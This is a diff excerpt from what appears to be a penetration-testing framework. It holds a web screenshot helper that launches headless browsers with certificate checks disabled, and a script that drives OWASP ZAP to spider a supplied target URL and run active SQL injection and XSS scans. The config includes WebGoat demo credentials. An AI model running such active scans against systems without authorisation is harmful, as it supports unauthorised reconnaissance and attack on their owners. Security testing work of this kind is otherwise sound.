+SCREENSHOTS_DIRECTORY = os.path.abspath(os.path.join(os.getcwdu(), './screenshots/'))
+
+# Logger definition
+LOGLEVELS = {0 : 'ERROR', 1 : 'INFO', 2 : 'DEBUG'}
+logger_output = logging.StreamHandler(sys.stdout)
+logger_output.setFormatter(logging.Formatter('[%(levelname)s][%(name)s] %(message)s'))
+
+logger_gen = logging.getLogger("General")
+logger_gen.addHandler(logger_output)
+
+# Macros
+SHELL_EXECUTION_OK = 0
+SHELL_EXECUTION_ERROR = -1
+PHANTOMJS_HTTP_AUTH_ERROR_CODE = 2
+
+# Handful patterns
+p_ipv4_elementary = '(?:[\d]{1,3})\.(?:[\d]{1,3})\.(?:[\d]{1,3})\.(?:[\d]{1,3})'
+p_domain = '[a-z0-9]+([\-\.]{1}[a-z0-9]+)*\.[a-z]{2,6}'
+p_port = '\d{0,5}'
+p_resource = '(?:/(?P<res>.*))?'
+
+full_uri_domain = re.compile('^(?P<protocol>http(?:|s))://(?P<host>%s|%s)(?::(?P<port>%s))?%s$' % (p_domain, p_ipv4_elementary, p_port, p_resource))
+
+fqdn_and_port = re.compile('^(?P<host>%s):(?P<port>%s)%s$' % (p_domain, p_port, p_resource))
+fqdn_only = re.compile('^(?P<host>%s)%s$' % (p_domain, p_resource))
+
+ipv4_and_port = re.compile('^(?P<host>%s):(?P<port>%s)%s' % (p_ipv4_elementary, p_port, p_resource))
+ipv4_only = re.compile('^(?P<host>%s)%s$' % (p_ipv4_elementary, p_resource))
+
+entry_from_csv = re.compile('^(?P<host>%s|%s)\s+(?P<port>\d+)$' % (p_domain, p_ipv4_elementary))
+
+# Handful functions
+def init_worker():
+    """ 
+        Tell the workers to ignore a global SIGINT interruption
+    """
+    signal.signal(signal.SIGINT, signal.SIG_IGN)
+    
+def kill_em_all(signal, frame):
+    """
+        Terminate all processes while capturing a SIGINT from the user
+    """
+    logger_gen.info('CTRL-C received, exiting')
+    sys.exit(0)
+    
+def shell_exec(url, command, options):
+    """
+        Execute a shell command following a timeout
+        Taken from http://howto.pui.ch/post/37471155682/set-timeout-for-a-shell-command-in-python
+    """
+    global SHELL_EXECUTION_OK, SHELL_EXECUTION_ERROR
+    
+    logger_url = logging.getLogger("%s" % url)
+    logger_url.setLevel(options.log_level)
+    
+    timeout = int(options.timeout)
+    start = datetime.datetime.now()
+    
+    try :
+        p = subprocess.Popen(shlex.split(command), shell=False, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
+        
+        # binaries timeout
+        while p.poll() is None:
+            time.sleep(0.1)
+            now = datetime.datetime.now()
+            if (now - start).seconds > timeout:
+                logger_url.debug("Shell command PID %s reached the timeout, killing it now" % p.pid)
+                logger_url.error("Screenshot somehow failed\n")
+                
+                if sys.platform == 'win32':
+                    p.send_signal(signal.SIGTERM)
+                else:
+                    p.send_signal(signal.SIGKILL)
+                
+                return SHELL_EXECUTION_ERROR
+        
+        retval = p.poll()
+        if retval != SHELL_EXECUTION_OK:
+            if retval == PHANTOMJS_HTTP_AUTH_ERROR_CODE:
+                # HTTP Authentication request
+                logger_url.error("HTTP Authentication requested, try to pass credentials with -u and -b options")
+            else:
+                # Phantomjs general error
+                logger_url.error("Shell command PID %s returned an abnormal error code: '%s'" % (p.pid,retval))
+                logger_url.error("Screenshot somehow failed\n")
+                    
+            return SHELL_EXECUTION_ERROR
+        
+        else:
+            # Phantomjs ok
+            logger_url.debug("Shell command PID %s ended normally" % p.pid)
+            logger_url.info("Screenshot OK\n")
+            return SHELL_EXECUTION_OK
+    
+    except Exception as e:
+        if e.errno and e.errno == errno.ENOENT :
+            logger_url.error('renderer binary could not have been found in your current PATH environment variable, exiting')
+        else:
+            logger_gen.error('Unknown error: %s, exiting' % e )
+        return SHELL_EXECUTION_ERROR
+
+def filter_bad_filename_chars(filename):
+    #print (filename)
+    """
+        Filter bad chars for any filename
+    """
+    # Before, just avoid triple underscore escape for the classic '://' pattern
+    filename = filename.replace('http://', '')
+    filename = filename.replace('https://', '')
+    #print (filename)
+    
+    return re.sub('[^\w\-_\. ]', '-port', filename)
+    #print (filename)
+
+def extract_all_matched_named_groups(regex, match):
+    """
+        Return a set of all extractable matched parameters.
+        >>> full_uri_domain.groupindex
+        {'domain': 1, 'port': 3}
+        >>>full_uri_domain.match('http://8.8.8.8:80').group('domain')
+        '8.8.8.8'
+        >>>extract_all_matched_named_groups() => {'domain': '8.8.8.8', 'port': '80'}
+            
+    """
+    result = {}
+    for name, id in regex.groupindex.items():
+        matched_value = match.group(name)
+        if matched_value != None: result[name] = matched_value
+    
+    return result
+    
+def entry_format_validator(line):
+    """
+        Validate the current line against several regexes and return matched parameters (ip, domain, port etc.)
+    """
+    tab = { 'full_uri_domain'       : full_uri_domain,
+            'fqdn_only'             : fqdn_only,
+            'fqdn_and_port'         : fqdn_and_port, 
+            'ipv4_and_port'         : ipv4_and_port, 
+            'ipv4_only'             : ipv4_only, 
+            'entry_from_csv'        : entry_from_csv
+    }
+    
+    for name, regex in tab.items():
+        validator = regex.match(line)
+        if validator:
+            return extract_all_matched_named_groups(regex, validator)
+
+def parse_targets(options, arguments):
+    """
+        Parse list and convert each target to valid URI with port(protocol://foobar:port) 
+    """
+    
+    target_list = []
+    
+    if options.input_file != None:    
+        with open(options.input_file,'rb') as fd_input:
+            try:
+                lines = [l.decode('utf-8').lstrip().rstrip().strip() for l in fd_input.readlines()]
+            except UnicodeDecodeError as e:
+                logger_gen.error('Your input file is not UTF-8 encoded, please encode it before using this script')
+                sys.exit(0)
+    else:
+        lines = arguments
+        
+    for index, line in enumerate(lines, start=1):
+        matches = entry_format_validator(line)
+        
+        # pass if line can be recognized as a correct input, or if no 'host' group could be found with all the regexes
+        if matches == None or not('host' in matches.keys()):
+            logger_gen.warn("Line %s '%s' could not have been recognized as a correct input" % (index, line))
+            pass
+        else:
+            host = matches['host']
+            
+            # Protocol is 'http' by default, unless ssl is forced
+            if options.ssl == True:
+                protocol = 'https'
+            elif 'protocol' in matches.keys():
+                protocol = str(matches['protocol'])
+            else:
+                protocol = 'http'
+            
+            # Port is ('80' for http) or ('443' for https) by default, unless a specific port is supplied
+            if options.port != None:
+                port = options.port
+            elif 'port' in matches.keys():
+                port = int(matches['port'])
+                
+                # if port is 443, assume protocol is https if is not specified
+                protocol = 'https' if port == 443 else protocol
+            else:
+                port = 443 if protocol == 'https' else 80
+            
+            # No resource URI by default
+            if 'res' in matches.keys():
+                res = str(matches['res'])
+            else:
+                res = None
+            
+            # perform screenshots over HTTP and HTTPS for each target
+            if options.multiprotocol:
+                final_uri_http_port = int(matches['port']) if 'port' in matches.keys() else 80
+                final_uri_http = '%s://%s:%s' % ('http', host, final_uri_http_port)
+                target_list.append(final_uri_http)
+                logger_gen.info("'%s' has been formatted as '%s' with supplied overriding options" % (line, final_uri_http))
+                
+                
+                final_uri_https_port = int(matches['port']) if 'port' in matches.keys() else 443
+                final_uri_https = '%s://%s:%s' % ('https', host, final_uri_https_port)
+                target_list.append(final_uri_https)
+                logger_gen.info("'%s' has been formatted as '%s' with supplied overriding options" % (line, final_uri_https))
+            
+            else:
+                final_uri = '%s://%s:%s' % (protocol, host, port)
+                final_uri = final_uri + '/%s' % res if res != None else final_uri
+                target_list.append(final_uri)
+
+                logger_gen.info("'%s' has been formatted as '%s' with supplied overriding options" % (line, final_uri))
+    
+    return target_list      
+
+def craft_cmd(url_and_options):
+    """
+        Craft the correct command with url and options
+    """
+    global logger_output, PHANTOMJS_BIN, WEBSCREENSHOT_JS, SCREENSHOTS_DIRECTORY, SHELL_EXECUTION_OK, SHELL_EXECUTION_ERROR
+    
+    url, options = url_and_options
+    
+    logger_url = logging.getLogger("%s" % url)
+    logger_url.addHandler(logger_output)
+    logger_url.setLevel(options.log_level)
+
+    #output_filename = os.path.join(SCREENSHOTS_DIRECTORY, ('%s.png' % filter_bad_filename_chars(url)))
+    output_filename = os.path.join(SCREENSHOTS_DIRECTORY, ('%s.jpg' % filter_bad_filename_chars(url)))
+    
+    # PhantomJS renderer
+    if options.renderer == 'phantomjs':
+        # If you ever want to add some voodoo options to the phantomjs command to be executed, that's here right below
+        cmd_parameters = [  PHANTOMJS_BIN,
+                            '--ignore-ssl-errors true',
+                            '--ssl-protocol any',
+                            '--ssl-ciphers ALL'
+        ]
+        
+        cmd_parameters.append("--proxy %s" % options.proxy) if options.proxy != None else None
+        cmd_parameters.append("--proxy-auth %s" % options.proxy_auth) if options.proxy_auth != None else None
+        cmd_parameters.append("--proxy-type %s" % options.proxy_type) if options.proxy_type != None else None
+
+        cmd_parameters.append('"%s" url_capture="%s" output_file="%s"' % (WEBSCREENSHOT_JS, url, output_filename))
+        
+        cmd_parameters.append('header="Cookie: %s"' % options.cookie.rstrip(';')) if options.cookie != None else None
+        
+        cmd_parameters.append('http_username="%s"' % options.http_username) if options.http_username != None else None
+        cmd_parameters.append('http_password="%s"' % options.http_password) if options.http_password != None else None
+        
+        if options.header:
+            for header in options.header:
+                cmd_parameters.append('header="%s"' % header.rstrip(';'))
+    
+    # Chrome and chromium renderers
+    else: 
+        cmd_parameters =  [ CHROME_BIN ] if options.renderer == 'chrome' else [ CHROMIUM_BIN ]
+        cmd_parameters += [ '--allow-running-insecure-content',
+                            '--ignore-certificate-errors',
+                            '--ignore-urlfetcher-cert-requests',
+                            '--reduce-security-for-testing',
+                            '--no-sandbox',
+                            '--headless',
+                            '--disable-gpu',
+                            '--hide-scrollbars',
+                            '--incognito',
+                            '-screenshot="%s"' % output_filename,
+                            '--window-size=1200,800',
+                            '"%s"' % url
+        ]
+        cmd_parameters.append('--proxy-server="%s"' % options.proxy) if options.proxy != None else None
+    
+    cmd = " ".join(cmd_parameters)
+    
+    logger_url.debug("Shell command to be executed\n'%s'\n" % cmd)
+    
+    execution_retval = shell_exec(url, cmd, options)
+    
+    return execution_retval, url
+
+    
+def take_screenshot(url_list, options):
+    """
+        Launch the screenshot workers
+        Thanks http://noswap.com/blog/python-multiprocessing-keyboardinterrupt
+    """
+    global SHELL_EXECUTION_OK, SHELL_EXECUTION_ERROR
+    
+    screenshot_number = len(url_list)
+    print "[+] %s URLs to be screenshot" % screenshot_number
+    
+    pool = multiprocessing.Pool(processes=int(options.workers), initializer=init_worker)
+    
+    taken_screenshots = [r for r in pool.imap(func=craft_cmd, iterable=itertools.izip(url_list, itertools.repeat(options)))]
+
+    screenshots_error_url = [url for retval, url in taken_screenshots if retval == SHELL_EXECUTION_ERROR]
+    screenshots_error = sum(retval == SHELL_EXECUTION_ERROR for retval, url in taken_screenshots)
+    screenshots_ok = int(screenshot_number - screenshots_error)
+    
+    print "[+] %s actual URLs screenshot" % screenshots_ok
+    print "[+] %s error(s)" % screenshots_error
+    
+    if screenshots_error != 0:
+        for url in screenshots_error_url:
+            print "    %s" % url
+
+    return None
+    
+def main():
+    """
+        Dat main
+    """
+    global VERSION, SCREENSHOTS_DIRECTORY, LOGLEVELS
+    signal.signal(signal.SIGINT, kill_em_all)
+    
+    print 'webscreenshot.py version %s\n' % VERSION
+    
+    options, arguments = parser.parse_args()
+       
+    try :
+        options.log_level = LOGLEVELS[options.verbosity]
+        logger_gen.setLevel(options.log_level)
+    except :
+        parser.error("Please specify a valid log level")
+        
+    if (options.input_file == None and (len(arguments) > 1 or len(arguments) == 0)):
+        parser.error('Please specify a valid input file or a valid URL')
+    
+    if (options.input_file != None and len(arguments) == 1):
+        parser.error('Please specify either an input file or an URL')
+    
+    if (options.output_directory != None):
+        SCREENSHOTS_DIRECTORY = os.path.abspath(os.path.join(os.getcwdu(), options.output_directory))
+    
+    logger_gen.debug("Options: %s\n" % options)
+    if not os.path.exists(SCREENSHOTS_DIRECTORY):
+        logger_gen.info("'%s' does not exist, will then be created" % SCREENSHOTS_DIRECTORY)
+        os.makedirs(SCREENSHOTS_DIRECTORY)
+        
+    url_list = parse_targets(options, arguments)
+    
+    take_screenshot(url_list, options)
+    
+    return None
+
+if __name__ == "__main__" :
+    main()

bin/zap-scan.py

@@ -0,0 +1,510 @@
+#!/usr/bin/env python3
+
+'''
+This script aims to be the most generic and the most explicit possible.
+It works with OWASP ZAP API Python client.
+To use it, you have to load the Python API client module and start ZAP
+
+Before starting this script for the first time: Open ZAP, go to
+Tools -> Options -> API -> Generate random Key, copy and paste the key in the
+variable "apiKey" of the configuration area
+
+This script is divided into two parts : a configuration area, where you have to
+change variables according to your needs, and the part with API calls.
+
+Author : aine-rb on Github, from Sopra Steria - modified for Sn1per by @xer0dayz
+'''
+
+import time
+from pprint import pprint
+from zapv2 import ZAPv2
+import sys, getopt
+
+targetURL = str(sys.argv[1])
+
+#######################################
+### BEGINNING OF CONFIGURATION AREA ###
+#######################################
+## The user only needs to change variable values bellow to make the script
+## work according to his/her needs. MANDATORY parameters must not be empty
+
+# MANDATORY. Define the API key generated by ZAP and used to verify actions.
+apiKey=''
+
+# MANDATORY. Define the listening address of ZAP instance
+localProxy = {"http": "http://127.0.0.1:8081", "https": "http://127.0.0.1:8081"}
+
+# MANDATORY. True to create another ZAP session (overwrite the former if the
+# same name already exists), False to use an existing one
+isNewSession = True
+# MANDATORY. ZAP Session name
+sessionName = 'WebgoatSession'
+
+# Define the list of global exclude URL regular expressions. List can be empty.
+# The expressions must follow the java.util.regex.Pattern class syntax
+# The following example excludes every single URL except http://localhost:8081
+globalExcludeUrl = ['^(?:(?!http:\/\/localhost:8081).*).$']
+
+# MANDATORY. Define if an outgoing proxy server is used
+useProxyChain = False
+# MANDATORY only if useProxyChain is True, ignored otherwise.
+# Outgoing proxy address and port
+proxyAddress = 'my.corp.proxy'
+proxyPort = '8080'
+# Define the addresses to skip in case useProxyChain is True. Ignored
+# otherwise. List can be empty.
+skipProxyAddresses = ('127.0.0.1;'
+                      'localhost')
+# MANDATORY only if useProxyChain is True. Ignored otherwise.
+# Define if proxy server needs authentication
+useProxyChainAuth = False
+# MANDATORY only if useProxyChainAuth is True. Ignored otherwise
+proxyUsername = ''
+proxyPassword = ''
+proxyRealm = ''
+
+# MANDATORY. Determine if a proxy script must be loaded. Proxy scripts are
+# executed for every request traversing ZAP
+useProxyScript = False
+# MANDATORY only if useProxyScript is True. Ignored otherwise
+proxyScriptName = 'proxyScript.js'
+# Script engine values: "Oracle Nashorn" for Javascript,
+# "jython" for python, "JSR 223 JRuby Engine" for ruby
+proxyScriptEngine = 'Oracle Nashorn'
+# Asolute local path
+proxyScriptFileName = '/zap/scripts/proxy/proxyScript.js'
+proxyScriptDescription = 'This is a description'
+
+# MANDATORY. Determine if context must be configured then used during scans.
+# You have to set this parameter to True if you want that ZAP performs scans
+# from the point of view of a specific user
+useContextForScan = False
+
+# MANDATORY only if useContextForScan is True. Ignored otherwise. Set value to
+# True to define a new context. Set value to False to use an existing one.
+defineNewContext = False
+# MANDATORY only if defineNewContext is True. Ignored otherwise
+contextName = 'WebGoat_script-based'
+# MANDATORY only if defineNewContext is False. Disregarded otherwise.
+# Corresponds to the ID of the context to use
+contextId = 0
+# Define Context Include URL regular expressions. Ignored if useContextForScan
+# is False. You have to put the URL you want to test in this list.
+contextIncludeURL = [targetURL + '.*']
+# Define Context Exclude URL regular expressions. Ignored if useContextForScan
+# is False. List can be empty.
+contextExcludeURL = ['http://localhost:8081/WebGoat/j_spring_security_logout',
+                     'http://localhost:8081/WebGoat/logout.mvc']
+
+# MANDATORY only if useContextForScan is True. Ignored otherwise. Define the
+# session management method for the context. Possible values are:
+# "cookieBasedSessionManagement"; "httpAuthSessionManagement"
+sessionManagement = 'cookieBasedSessionManagement'
+
+# MANDATORY only if useContextForScan is True. Ignored otherwise. Define
+# authentication method for the context. Possible values are:
+# "manualAuthentication"; "scriptBasedAuthentication"; "httpAuthentication";
+# "formBasedAuthentication"
+authMethod = 'scriptBasedAuthentication'
+
+# MANDATORY only if authMethod is set to scriptBasedAuthentication.
+# Ignored otherwise
+authScriptName = 'TwoStepAuthentication.js'
+# Script engine values: Oracle Nashorn for Javascript
+# jython for python, JSR 223 JRuby Engine for ruby
+authScriptEngine = 'Oracle Nashorn'
+# Absolute local path
+authScriptFileName = '/zap/scripts/authentication/TwoStepAuthentication.js'
+authScriptDescription = 'This is a description'
+
+# MANDATORY only if useContextForScan is True. Ignored otherwise. Each
+# name/value pair of authParams are expected to be "x-www-form-urlencoded"
+# Here is an example for scriptBasedAuthentication method:
+authParams = ('scriptName=' + authScriptName + '&'
+              'Submission Form URL=http://localhost:8081/WebGoat/j_spring_security_check&'
+              'Username field=username&'
+              'Password field=password&'
+              'Target URL=http://localhost:8081/WebGoat/welcome.mvc')
+## Here is an example for formBasedAuthentication method:
+#authParams = ('loginUrl=http://localhost:8081/WebGoat/j_spring_security_check&'
+#              'loginRequestData=username%3D%7B%25username%25%7D%26'
+#              'password%3D%7B%25password%25%7D')
+##Here is an example for httpAuthentication method:
+#authParams = ('hostname=http://www.example.com&'
+#              'realm=CORP\\administrator&'
+#              'port=80')
+
+# MANDATORY only if useContextForScan is True. Ignored otherwise.
+# Set the value to True if a loggedin indicator must be used. False if it's a
+# logged out indicator that must be used
+isLoggedInIndicator = False
+# MANDATORY only if useContextForScan is True. Ignored otherwise.
+# Define either a loggedin or a loggedout indicator regular expression.
+# It allows ZAP to see if the user is always authenticated during scans.
+indicatorRegex = '\QLocation: http://localhost:8081/WebGoat/login.mvc\E'
+
+
+# MANDATORY only if useContextForScan is True. Ignored otherwise.
+# Set value to True to create new users, False otherwise
+createUser = False
+# MANDATORY only if createUser is True. Ignored otherwise. Define the list of
+# users, with name and credentials (in x-www-form-urlencoded format)
+## Here is an example with the script NashornTwoStepAuthentication.js:
+userList = [
+    {'name': 'guest', 'credentials': 'Username=guest&Password=guest'},
+    {'name': 'webgoat', 'credentials': 'Username=webgoat&Password=webgoat'}
+]
+## Here is an example with formBasedAuthentication:
+#userList = [
+#    {'name': 'guest', 'credentials': 'username=guest&password=guest'},
+#    {'name': 'webgoat', 'credentials': 'username=webgoat&password=webgoat'}
+#]
+
+# MANDATORY only if useContextForScan is True. Ignored otherwise. List can be
+# empty. Define the userid list. Created users will be added to this list later
+userIdList = []
+
+# MANDATORY. Define the target site to test
+#target = 'http://10.0.0.19/'
+target = targetURL
+# You can specify other URL in order to help ZAP discover more site locations
+# List can be empty
+applicationURL = ['']
+
+# MANDATORY. Set value to True if you want to customize and use a scan policy
+useScanPolicy = False
+# MANDATORY only if useScanPolicy is True. Ignored otherwise. Set a policy name
+scanPolicyName = 'SQL Injection and XSS'
+# MANDATORY only if useScanPolicy is True. Ignored otherwise.
+# Set value to True to disable all scan types except the ones set in ascanIds,
+# False to enable all scan types except the ones set in ascanIds..
+isWhiteListPolicy = False
+# MANDATORY only if useScanPolicy is True. Ignored otherwise. Set the scan IDs
+# to use with the policy. Other scan types will be disabled if
+# isWhiteListPolicy is True, enabled if isWhiteListPolicy is False.
+# Use zap.ascan.scanners() to list all ascan IDs.
+## In the example bellow, the first line corresponds to SQL Injection scan IDs,
+## the second line corresponds to some XSS scan IDs
+ascanIds = [40018, 40019, 40020, 40021, 40022, 40024, 90018,
+            40012, 40014, 40016, 40017]
+# MANDATORY only if useScanPolicy is True. Ignored otherwise. Set the alert
+# Threshold and the attack strength of enabled active scans.
+# Currently, possible values are:
+# Low, Medium and High for alert Threshold
+# Low, Medium, High and Insane for attack strength
+alertThreshold = 'Medium'
+attackStrength = 'Low'
+
+# MANDATORY. Set True to use Ajax Spider, False otherwise.
+useAjaxSpider = True
+
+# MANDATORY. Set True to shutdown ZAP once finished, False otherwise
+shutdownOnceFinished = False
+
+#################################
+### END OF CONFIGURATION AREA ###
+#################################
+sys.stdout = open("/usr/share/sniper/bin/zap-report.txt", "w")
+
+# Connect ZAP API client to the listening address of ZAP instance
+zap = ZAPv2(proxies=localProxy, apikey=apiKey)
+
+# Start the ZAP session
+core = zap.core
+if isNewSession:
+    pprint('Create ZAP session: ' + sessionName + ' -> ' +
+            core.new_session(name=sessionName, overwrite=True))
+else:
+    pprint('Load ZAP session: ' + sessionName + ' -> ' +
+            core.load_session(name=sessionName))
+
+# Configure ZAP global Exclude URL option
+print('Add Global Exclude URL regular expressions:')
+for regex in globalExcludeUrl:
+    pprint(regex + ' ->' + core.exclude_from_proxy(regex=regex))
+
+# Configure ZAP outgoing proxy server connection option
+pprint('Enable outgoing proxy chain: ' + str(useProxyChain) + ' -> ' +
+        core.set_option_use_proxy_chain(boolean=useProxyChain))
+if useProxyChain:
+    pprint('Set outgoing proxy name: ' + proxyAddress + ' -> ' +
+            core.set_option_proxy_chain_name(string=proxyAddress))
+    pprint('Set outgoing proxy port: ' + proxyPort + ' -> ' +
+            core.set_option_proxy_chain_port(integer=proxyPort))
+    pprint('Skip names for outgoing proxy: ' + skipProxyAddresses + ' -> ' +
+            core.set_option_proxy_chain_skip_name(string=skipProxyAddresses))
+
+    # Configure ZAP outgoing proxy server authentication
+    pprint('Set outgoing proxy chain authentication: ' +
+            str(useProxyChainAuth) + ' -> ' +
+            core.set_option_use_proxy_chain_auth(boolean=useProxyChainAuth))
+    if useProxyChainAuth:
+        pprint('Set outgoing proxy username -> ' +
+                core.set_option_proxy_chain_user_name(string=proxyUsername))
+        pprint('Set outgoing proxy password -> ' +
+                core.set_option_proxy_chain_password(string=proxyPassword))
+        pprint('Set outgoing proxy realm: ' + proxyRealm + ' -> ' +
+                core.set_option_proxy_chain_realm(string=proxyRealm))
+
+if useProxyScript:
+    script = zap.script
+    script.remove(scriptname=proxyScriptName)
+    pprint('Load proxy script: ' + proxyScriptName + ' -> ' +
+            script.load(scriptname=proxyScriptName, scripttype='proxy',
+                scriptengine=proxyScriptEngine,
+                filename=proxyScriptFileName,
+                scriptdescription=proxyScriptDescription))
+    pprint('Enable proxy script: ' + proxyScriptName + ' -> ' +
+            script.enable(scriptname=proxyScriptName))
+
+
+if useContextForScan:
+    # Define the ZAP context
+    context = zap.context
+    if defineNewContext:
+        contextId = context.new_context(contextname=contextName)
+    pprint('Use context ID: ' + contextId)
+
+    # Include URL in the context
+    print('Include URL in context:')
+    for url in contextIncludeURL:
+        pprint(url + ' -> ' +
+                context.include_in_context(contextname=contextName,
+                                           regex=url))
+
+    # Exclude URL in the context
+    print('Exclude URL from context:')
+    for url in contextExcludeURL:
+        pprint(url + ' -> ' +
+                context.exclude_from_context(contextname=contextName,
+                                             regex=url))
+
+    # Setup session management for the context.
+    # There is no methodconfigparams to provide for both current methods
+    pprint('Set session management method: ' + sessionManagement + ' -> ' +
+            zap.sessionManagement.set_session_management_method(
+                contextid=contextId, methodname=sessionManagement,
+                methodconfigparams=None))
+
+    ## In case we use the scriptBasedAuthentication method, load the script
+    if authMethod == 'scriptBasedAuthentication':
+        script = zap.script
+        script.remove(scriptname=authScriptName)
+        pprint('Load script: ' + authScriptName + ' -> ' +
+                script.load(scriptname=authScriptName,
+                            scripttype='authentication',
+                            scriptengine=authScriptEngine,
+                            filename=authScriptFileName,
+                            scriptdescription=authScriptDescription))
+
+    # Define an authentication method with parameters for the context
+    auth = zap.authentication
+    pprint('Set authentication method: ' + authMethod + ' -> ' +
+            auth.set_authentication_method(contextid=contextId,
+                                           authmethodname=authMethod,
+                                           authmethodconfigparams=authParams))
+    # Define either a loggedin indicator or a loggedout indicator regexp
+    # It allows ZAP to see if the user is always authenticated during scans
+    if isLoggedInIndicator:
+        pprint('Define Loggedin indicator: ' + indicatorRegex + ' -> ' +
+                auth.set_logged_in_indicator(contextid=contextId,
+                                        loggedinindicatorregex=indicatorRegex))
+    else:
+        pprint('Define Loggedout indicator: ' + indicatorRegex + ' -> ' +
+                auth.set_logged_out_indicator(contextid=contextId,
+                                        loggedoutindicatorregex=indicatorRegex))
+
+    # Define the users
+    users = zap.users
+    if createUser:
+        for user in userList:
+            userName = user.get('name')
+            print('Create user ' + userName + ':')
+            userId = users.new_user(contextid=contextId, name=userName)
+            userIdList.append(userId)
+            pprint('User ID: ' + userId + '; username -> ' +
+                    users.set_user_name(contextid=contextId, userid=userId,
+                                        name=userName) +
+                    '; credentials -> ' +
+                    users.set_authentication_credentials(contextid=contextId,
+                        userid=userId,
+                        authcredentialsconfigparams=user.get('credentials')) +
+                    '; enabled -> ' +
+                    users.set_user_enabled(contextid=contextId, userid=userId,
+                                           enabled=True))
+
+# Enable all passive scanners (it's possible to do a more specific policy by
+# setting needed scan ID: Use zap.pscan.scanners() to list all passive scanner
+# IDs, then use zap.scan.enable_scanners(ids) to enable what you want
+pprint('Enable all passive scanners -> ' +
+        zap.pscan.enable_all_scanners())
+
+ascan = zap.ascan
+# Define if a new scan policy is used
+if useScanPolicy:
+    ascan.remove_scan_policy(scanpolicyname=scanPolicyName)
+    pprint('Add scan policy ' + scanPolicyName + ' -> ' +
+            ascan.add_scan_policy(scanpolicyname=scanPolicyName))
+    for policyId in range(0, 5):
+        # Set alert Threshold for all scans
+        ascan.set_policy_alert_threshold(id=policyId,
+                                         alertthreshold=alertThreshold,
+                                         scanpolicyname=scanPolicyName)
+        # Set attack strength for all scans
+        ascan.set_policy_attack_strength(id=policyId,
+                                         attackstrength=attackStrength,
+                                         scanpolicyname=scanPolicyName)
+    if isWhiteListPolicy:
+        # Disable all active scanners in order to enable only what you need
+        pprint('Disable all scanners -> ' +
+                ascan.disable_all_scanners(scanpolicyname=scanPolicyName))
+        # Enable some active scanners
+        pprint('Enable given scan IDs -> ' +
+                ascan.enable_scanners(ids=ascanIds,
+                                      scanpolicyname=scanPolicyName))
+    else:
+        # Enable all active scanners
+        pprint('Enable all scanners -> ' +
+                ascan.enable_all_scanners(scanpolicyname=scanPolicyName))
+        # Disable some active scanners
+        pprint('Disable given scan IDs -> ' +
+                ascan.disable_scanners(ids=ascanIds,
+                                       scanpolicyname=scanPolicyName))
+else:
+    print('No custom policy used for scan')
+    scanPolicyName = None
+
+# Open URL inside ZAP
+pprint('Access target URL ' + target)
+core.access_url(url=target, followredirects=True)
+for url in applicationURL:
+    pprint('Access URL ' + url)
+    core.access_url(url=url, followredirects=True)
+# Give the sites tree a chance to get updated
+time.sleep(2)
+
+# Launch Spider, Ajax Spider (if useAjaxSpider is set to true) and
+# Active scans, with a context and users or not
+forcedUser = zap.forcedUser
+spider = zap.spider
+ajax = zap.ajaxSpider
+scanId = 0
+print('Starting Scans on target: ' + target)
+if useContextForScan:
+    for userId in userIdList:
+        print('Starting scans with User ID: ' + userId)
+
+        # Spider the target and recursively scan every site node found
+        scanId = spider.scan_as_user(contextid=contextId, userid=userId,
+                url=target, maxchildren=None, recurse=True, subtreeonly=None)
+        print('Start Spider scan with user ID: ' + userId +
+                '. Scan ID equals: ' + scanId)
+        # Give the spider a chance to start
+        time.sleep(2)
+        while (int(spider.status(scanId)) < 100):
+            print('Spider progress: ' + spider.status(scanId) + '%')
+            time.sleep(2)
+        print('Spider scan for user ID ' + userId + ' completed')
+
+        if useAjaxSpider:
+            # Prepare Ajax Spider scan
+            pprint('Set forced user mode enabled -> ' +
+                    forcedUser.set_forced_user_mode_enabled(boolean=True))
+            pprint('Set user ID: ' + userId + ' for forced user mode -> ' +
+                        forcedUser.set_forced_user(contextid=contextId,
+                            userid=userId))
+            # Ajax Spider the target URL
+            pprint('Ajax Spider the target with user ID: ' + userId + ' -> ' +
+                        ajax.scan(url=target, inscope=None))
+            # Give the Ajax spider a chance to start
+            time.sleep(10)
+            while (ajax.status != 'stopped'):
+                print('Ajax Spider is ' + ajax.status)
+                time.sleep(5)
+            for url in applicationURL:
+                # Ajax Spider every url configured
+                pprint('Ajax Spider the URL: ' + url + ' with user ID: ' +
+                        userId + ' -> ' +
+                        ajax.scan(url=url, inscope=None))
+                # Give the Ajax spider a chance to start
+                time.sleep(10)
+                while (ajax.status != 'stopped'):
+                    print('Ajax Spider is ' + ajax.status)
+                    time.sleep(5)
+            pprint('Set forced user mode disabled -> ' +
+                    forcedUser.set_forced_user_mode_enabled(boolean=False))
+            print('Ajax Spider scan for user ID ' + userId + ' completed')
+
+        # Launch Active Scan with the configured policy on the target url
+        # and recursively scan every site node
+        scanId = ascan.scan_as_user(url=target, contextid=contextId,
+                userid=userId, recurse=True, scanpolicyname=scanPolicyName,
+                method=None, postdata=True)
+        print('Start Active Scan with user ID: ' + userId +
+                '. Scan ID equals: ' + scanId)
+        # Give the scanner a chance to start
+        time.sleep(2)
+        while (int(ascan.status(scanId)) < 100):
+            print('Active Scan progress: ' + ascan.status(scanId) + '%')
+            time.sleep(2)
+        print('Active Scan for user ID ' + userId + ' completed')
+
+else:
+    # Spider the target and recursively scan every site node found
+    scanId = spider.scan(url=target, maxchildren=None, recurse=True,
+            contextname=None, subtreeonly=None)
+    print('Scan ID equals ' + scanId)
+    # Give the Spider a chance to start
+    time.sleep(2)
+    while (int(spider.status(scanId)) < 100):
+        print('Spider progress ' + spider.status(scanId) + '%')
+        time.sleep(2)
+    print('Spider scan completed')
+
+    if useAjaxSpider:
+        # Ajax Spider the target URL
+        pprint('Start Ajax Spider -> ' + ajax.scan(url=target, inscope=None))
+        # Give the Ajax spider a chance to start
+        time.sleep(10)
+        while (ajax.status != 'stopped'):
+            print('Ajax Spider is ' + ajax.status)
+            time.sleep(5)
+        for url in applicationURL:
+            # Ajax Spider every url configured
+            pprint('Ajax Spider the URL: ' + url + ' -> ' +
+                    ajax.scan(url=url, inscope=None))
+            # Give the Ajax spider a chance to start
+            time.sleep(10)
+            while (ajax.status != 'stopped'):
+                print('Ajax Spider is ' + ajax.status)
+                time.sleep(5)
+        print('Ajax Spider scan completed')
+
+    # Launch Active scan with the configured policy on the target url and
+    # recursively scan every site node
+    scanId = zap.ascan.scan(url=target, recurse=True, inscopeonly=None,
+        scanpolicyname=scanPolicyName, method=None, postdata=True)
+    print('Start Active scan. Scan ID equals ' + scanId)
+    while (int(ascan.status(scanId)) < 100):
